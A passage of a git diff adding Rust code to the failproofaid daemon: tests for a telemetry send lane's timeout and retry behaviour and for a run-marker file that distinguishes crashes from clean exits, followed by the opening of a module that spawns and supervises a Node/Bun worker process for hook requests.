acceptable failure here. + assert!(lane.ring.lock().unwrap().is_empty()); + assert_eq!( + rt.block_on(server.received_requests()).unwrap().len(), + MAX_SEND_ATTEMPTS as usize + ); + } + + #[test] + fn an_endpoint_that_never_answers_neither_blocks_nor_panics() { + // A closed port stands in for the black-holing proxy: what matters is + // that the lane comes back, on its own, well inside its own timeout — + // this daemon fails closed, and a lane that wedged holding the ring lock + // would be a hook call waiting on a telemetry request. + let lane = bare_lane(); + lane.push(event("daemon_started")); + let client = build_client(Duration::from_millis(200), Duration::from_millis(500)).unwrap(); + let began = Instant::now(); + send_pending( + &lane, + &client, + // Reserved by RFC 5737 for documentation; nothing routes there. + "http://192.0.2.1:9/batch/", + "k", + &identity(), + None, + ); + assert!(began.elapsed() < Duration::from_secs(5), "the send hung"); + // Kept for one more try rather than dropped on the first failure. + assert_eq!(lane.ring.lock().unwrap().len(), 1); + } + + // ── the run marker ─────────────────────────────────────────────────────── + + #[test] + fn a_missing_marker_reads_as_a_first_start_not_as_a_crash() { + // The direction matters: an unwritable state directory would otherwise + // report every single start as a crash, which is the noisiest available + // way to be wrong about the one signal here worth alerting on. + let home = scratch("marker-absent"); + assert_eq!( + read_previous_exit(&run_marker_path(&home)).0, + PreviousExit::FirstStart + ); + std::fs::remove_dir_all(&home).ok(); + } + + #[test] + fn a_marker_left_unflipped_is_the_crash_signal() { + let home = scratch("marker-crash"); + let path = run_marker_path(&home); + // Exactly what record_started leaves behind, and exactly what survives a + // SIGKILL, an OOM kill or a power cut. + write_private( + &path, + br#"{"schema":1,"started_at_ms":1000,"clean_exit":false}"#, + ) + .unwrap(); + assert_eq!(read_previous_exit(&path), (PreviousExit::Unclean, None)); + + write_private( + &path, + br#"{"schema":1,"started_at_ms":1000,"clean_exit":true,"stopped_at_ms":61000}"#, + ) + .unwrap(); + assert_eq!(read_previous_exit(&path), (PreviousExit::Clean, Some(60))); + std::fs::remove_dir_all(&home).ok(); + } + + #[test] + fn a_corrupt_or_future_marker_is_unknown_rather_than_a_crash() { + let home = scratch("marker-corrupt"); + let path = run_marker_path(&home); + write_private(&path, b"{ not json").unwrap(); + assert_eq!(read_previous_exit(&path).0, PreviousExit::Unknown); + write_private( + &path, + br#"{"schema":9,"started_at_ms":1,"clean_exit":false}"#, + ) + .unwrap(); + assert_eq!(read_previous_exit(&path).0, PreviousExit::Unknown); + std::fs::remove_dir_all(&home).ok(); + } +} diff --git a/crates/failproofaid/src/worker.rs b/crates/failproofaid/src/worker.rs new file mode 100644 index 00000000..0f3f789f --- /dev/null +++ b/crates/failproofaid/src/worker.rs @@ -0,0 +1,629 @@ +//! Spawns and supervises the warm Node/Bun worker process, and relays +//! `Hook` requests to it. +//! +//! The worker speaks a SEPARATE, simpler internal protocol on its own +//! socket (no `protocolVersion` — this process always spawns a +//! version-matched worker, so there's nothing to negotiate) — this module +//! is the only thing that talks to it, and it's the one place that +//! translates between that internal protocol and the client-facing +//! [`fpai_ipc::ServerMessage`] envelope (which DOES carry `protocolVersion`, +//! since that one crosses a real compatibility boundary against whatever +//! `failproofai` CLI version happens to be installed). + +use fpai_ipc::framing::{read_message, write_message}; +use serde_json::json; +use std::io; +use std::os::unix::net::UnixStream; +use std::os::unix::process::CommandExt; +use std::path::{Path, PathBuf}; +use std::process::{Child, Command, Stdio}; +use std::sync::Mutex; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::time::{Duration, Instant}; + +#[derive(Debug)] +pub enum WorkerError { + Io(io::Error), + /// The worker never created its socket within the startup deadline. + StartupTimedOut, + /// A response arrived but wasn't a well-formed hookResult/error. + BadResponse(String), +} + +impl std::fmt::Display for WorkerError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + WorkerError::Io(e) => write!(f, "worker io error: {e}"), + WorkerError::StartupTimedOut => write!(f, "worker did not start in time"), + WorkerError::BadResponse(s) => write!(f, "unexpected worker response: {s}"), + } + } +} + +impl std::error::Error for WorkerError {} + +#[derive(Debug)] +pub struct HookOutcome { + pub exit_code: i32, + pub stdout: String, + pub stderr: String, +} + +/// How to launch the worker process. `FAILPROOFAI_WORKER_CMD` (dev/test +/// override — a full shell command string, run via `sh -c`) always takes +/// precedence; otherwise falls back to `node